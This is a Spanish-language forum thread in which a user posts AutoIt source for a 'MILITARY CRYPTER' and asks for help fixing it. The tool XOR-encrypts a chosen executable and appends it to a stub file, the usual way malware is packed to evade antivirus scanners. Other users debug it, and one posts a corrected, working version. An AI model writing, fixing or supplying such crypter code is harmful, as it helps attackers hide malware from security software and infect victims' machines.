Mostrar mensajes previos
Ordenar por
por leo-johnlenonn Baneado ;(
Puede alguien ayudarme con este error que está dando?
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate(" MILITARY CRYPTER --= MADE IN PARAGUAY =--", 489, 337, 192, 124)
GUISetFont(12, 800, 0, "Comic Sans MS")
$Pic1 = GUICtrlCreatePic("C:\Users\USER\Desktop\details.jpg", -8, 0, 513, 361)
$BUSCAR = GUICtrlCreateButton("BUSCAR", 56, 272, 145, 41)
$ENCRYPTAR = GUICtrlCreateButton("ENCRYPTAR", 248, 272, 147, 41)
$Input1 = GUICtrlCreateInput("", 96, 232, 273, 31)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Form1
Case $Button1
GUICtrlSetData($Input1, FileOpenDialog("Selecione o arquivo para encriptar", @DesktopDir, "Executáveis(*.exe)"))
Case $Button2
If GuiCtrlRead($Input1) = "" Then Return
$Stub = FileOpen(@ScriptDir & "\Stub.exe", 16)
$arquivo2 = FileOpen(GuiCtrlRead($Input1), 16)
$st = FileRead($Stub)
$ar = FileRead($arquivo2)
$ar = kjgDAwjlsI($ar, "senhaA")

Func kjgDAwjlsI($suciqouwRc,$aCPuNGUAAw = '2', $QRzVhQVQjQ= 1)

Local $hbacjzlYck, $FsyzgbctWC = 1

$aCPuNGUAAw = StringSplit($aCPuNGUAAw,'')
$suciqouwRc = StringSplit($suciqouwRc,'')

For $x = 1 To $suciqouwRc [0]
$FsyzgbctWC = Mod($x,$aCPuNGUAAw[0])
$hbacjzlYck&= Chr(BitXOR(Asc($suciqouwRc[$x]),Asc($aCPuNGUAAw[$FsyzgbctWC])*$QRzVhQVQjQ))
Next

Return $hbacjzlYck

EndFunc

$abri = FileOpen(FileSaveDialog("Salvar Como...", @DesktopDir, "Executáveis(*.exe)") & ".exe", 18)
FileWrite($abri, $st)
FileWrite($abri, StringToBinary("senhaB"))
FileWrite($abri, $ar)
FileClose($Stub)
fileclose($Input1)
Fileclose($abri)
MsgBox(64, "Crypter", "Executável encriptado corretamente")

EndSwitch
Wend
Imagen
por comand Usa camisa de fuerza
Si usted observa, que esta será la falta acrecentar el botón 1
"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu
por comand Usa camisa de fuerza
Voy a explicar más, definir las funciones de los botones

GuiCtrlSetOnevent ($Button1, "Buscar"); Establece una función de usuario que se llama cuando se hace clic en un Button1. (Abierto)

GuiCtrlSetOnevent ($Button2 "Encryptar"); Establece una función de usuario que se llama cuando se hace clic en un Button2. (Encryptar)

GUISetOnEvent ($GUI_EVENT_CLOSE, "Salir"); Establece una función de usuario que se llama cuando se hace clic en el botón de cierre. (EXIT)

"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu
por Scorpio Moderador
Cambia $Button1 por $BUSCAR y $Button2 por $ENCRYPTAR.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
por Pink Usa camisa de fuerza
Un ciego lo haría mejor. lee la ayuda no te cuesta nada. poniendo códigos al azar no logras nada.

Saludos
Imagen
por Pink Usa camisa de fuerza
comand escribió:Voy a explicar más, definir las funciones de los botones

GuiCtrlSetOnevent ($Button1, "Buscar"); Establece una función de usuario que se llama cuando se hace clic en un Button1. (Abierto)

GuiCtrlSetOnevent ($Button2 "Encryptar"); Establece una función de usuario que se llama cuando se hace clic en un Button2. (Encryptar)

GUISetOnEvent ($GUI_EVENT_CLOSE, "Salir"); Establece una función de usuario que se llama cuando se hace clic en el botón de cierre. (EXIT)
El código no trabaja por eventos...

Saludos
Imagen
por comand Usa camisa de fuerza
leo-johnlenonn escribió:Puede alguien ayudarme con este error que está dando?
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate(" MILITARY CRYPTER --= MADE IN PARAGUAY =--", 489, 337, 192, 124)
GUISetFont(12, 800, 0, "Comic Sans MS")
$Pic1 = GUICtrlCreatePic("C:\Users\USER\Desktop\details.jpg", -8, 0, 513, 361)
$BUSCAR = GUICtrlCreateButton("BUSCAR", 56, 272, 145, 41)
$ENCRYPTAR = GUICtrlCreateButton("ENCRYPTAR", 248, 272, 147, 41)
$Input1 = GUICtrlCreateInput("", 96, 232, 273, 31)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Form1
Case $Button1
GUICtrlSetData($Input1, FileOpenDialog("Selecione o arquivo para encriptar", @DesktopDir, "Executáveis(*.exe)"))
Case $Button2
If GuiCtrlRead($Input1) = "" Then Return
$Stub = FileOpen(@ScriptDir & "\Stub.exe", 16)
$arquivo2 = FileOpen(GuiCtrlRead($Input1), 16)
$st = FileRead($Stub)
$ar = FileRead($arquivo2)
$ar = kjgDAwjlsI($ar, "senhaA")

Func kjgDAwjlsI($suciqouwRc,$aCPuNGUAAw = '2', $QRzVhQVQjQ= 1)

Local $hbacjzlYck, $FsyzgbctWC = 1

$aCPuNGUAAw = StringSplit($aCPuNGUAAw,'')
$suciqouwRc = StringSplit($suciqouwRc,'')

For $x = 1 To $suciqouwRc [0]
$FsyzgbctWC = Mod($x,$aCPuNGUAAw[0])
$hbacjzlYck&= Chr(BitXOR(Asc($suciqouwRc[$x]),Asc($aCPuNGUAAw[$FsyzgbctWC])*$QRzVhQVQjQ))
Next

Return $hbacjzlYck

EndFunc

$abri = FileOpen(FileSaveDialog("Salvar Como...", @DesktopDir, "Executáveis(*.exe)") & ".exe", 18)
FileWrite($abri, $st)
FileWrite($abri, StringToBinary("senhaB"))
FileWrite($abri, $ar)
FileClose($Stub)
fileclose($Input1)
Fileclose($abri)
MsgBox(64, "Crypter", "Executável encriptado corretamente")

EndSwitch
Wend
Imagen
Envié un MP, aquí nadie va a ayudarle
"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu
por Pink Usa camisa de fuerza 

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate(" MILITARY CRYPTER --= MADE IN PARAGUAY =--", 489, 337, 192, 124)
GUISetFont(12, 800, 0, "Comic Sans MS")
$Pic1 = GUICtrlCreatePic("C:\Users\USER\Desktop\details.jpg", -8, 0, 513, 361)
$Button1 = GUICtrlCreateButton("BUSCAR", 56, 272, 145, 41)
$Button2 = GUICtrlCreateButton("ENCRYPTAR", 248, 272, 147, 41)
$Input1 = GUICtrlCreateInput("", 96, 232, 273, 31)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
	$nMsg = GUIGetMsg()
	Switch $nMsg
		Case $GUI_EVENT_CLOSE
			Exit

		Case $Button1
			GUICtrlSetData($Input1, FileOpenDialog("Selecione o arquivo para encriptar", @DesktopDir, "Executáveis(*.exe)"))
		Case $Button2
			If GUICtrlRead($Input1) = "" Then
				MsgBox(0, "", "select a file first")
			Else
				$Stub = FileOpen(@ScriptDir & "\Stub.exe", 16)
				$arquivo2 = FileOpen(GUICtrlRead($Input1), 16)
				$st = FileRead($Stub)
				$ar = FileRead($arquivo2)
				$ar = kjgDAwjlsI($ar, "senhaA")



				$abri = FileOpen(FileSaveDialog("Salvar Como...", @DesktopDir, "Executáveis(*.exe)") & ".exe", 18)
				FileWrite($abri, $st)
				FileWrite($abri, StringToBinary("senhaB"))
				FileWrite($abri, $ar)
				FileClose($Stub)
				FileClose($Input1)
				FileClose($abri)
				MsgBox(64, "Crypter", "Executável encriptado corretamente")
			EndIf
	EndSwitch
WEnd

Func kjgDAwjlsI($suciqouwRc, $aCPuNGUAAw = '2', $QRzVhQVQjQ = 1)

	Local $hbacjzlYck, $FsyzgbctWC = 1

	$aCPuNGUAAw = StringSplit($aCPuNGUAAw, '')
	$suciqouwRc = StringSplit($suciqouwRc, '')

	For $x = 1 To $suciqouwRc[0]
		$FsyzgbctWC = Mod($x, $aCPuNGUAAw[0])
		$hbacjzlYck &= Chr(BitXOR(Asc($suciqouwRc[$x]), Asc($aCPuNGUAAw[$FsyzgbctWC]) * $QRzVhQVQjQ))
	Next

	Return $hbacjzlYck

EndFunc   ;==>kjgDAwjlsI


Saludos
Imagen
por leo-johnlenonn Baneado ;(
comand escribió:
leo-johnlenonn escribió:Puede alguien ayudarme con este error que está dando?
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate(" MILITARY CRYPTER --= MADE IN PARAGUAY =--", 489, 337, 192, 124)
GUISetFont(12, 800, 0, "Comic Sans MS")
$Pic1 = GUICtrlCreatePic("C:\Users\USER\Desktop\details.jpg", -8, 0, 513, 361)
$BUSCAR = GUICtrlCreateButton("BUSCAR", 56, 272, 145, 41)
$ENCRYPTAR = GUICtrlCreateButton("ENCRYPTAR", 248, 272, 147, 41)
$Input1 = GUICtrlCreateInput("", 96, 232, 273, 31)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Form1
Case $Button1
GUICtrlSetData($Input1, FileOpenDialog("Selecione o arquivo para encriptar", @DesktopDir, "Executáveis(*.exe)"))
Case $Button2
If GuiCtrlRead($Input1) = "" Then Return
$Stub = FileOpen(@ScriptDir & "\Stub.exe", 16)
$arquivo2 = FileOpen(GuiCtrlRead($Input1), 16)
$st = FileRead($Stub)
$ar = FileRead($arquivo2)
$ar = kjgDAwjlsI($ar, "senhaA")

Func kjgDAwjlsI($suciqouwRc,$aCPuNGUAAw = '2', $QRzVhQVQjQ= 1)

Local $hbacjzlYck, $FsyzgbctWC = 1

$aCPuNGUAAw = StringSplit($aCPuNGUAAw,'')
$suciqouwRc = StringSplit($suciqouwRc,'')

For $x = 1 To $suciqouwRc [0]
$FsyzgbctWC = Mod($x,$aCPuNGUAAw[0])
$hbacjzlYck&= Chr(BitXOR(Asc($suciqouwRc[$x]),Asc($aCPuNGUAAw[$FsyzgbctWC])*$QRzVhQVQjQ))
Next

Return $hbacjzlYck

EndFunc

$abri = FileOpen(FileSaveDialog("Salvar Como...", @DesktopDir, "Executáveis(*.exe)") & ".exe", 18)
FileWrite($abri, $st)
FileWrite($abri, StringToBinary("senhaB"))
FileWrite($abri, $ar)
FileClose($Stub)
fileclose($Input1)
Fileclose($abri)
MsgBox(64, "Crypter", "Executável encriptado corretamente")

EndSwitch
Wend
Imagen
Envié un MP, aquí nadie va a ayudarle
gracias por ayudarme
por comand Usa camisa de fuerza
Seguramente será muy útil. Lo que no hacer una ingeniería social.
"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu
Temas similares
me podrian ayudar? por eucash666 en Dudas y Preguntas
Links sobre el tema
Variantes de tema
Responder

Volver a “Dudas y Preguntas”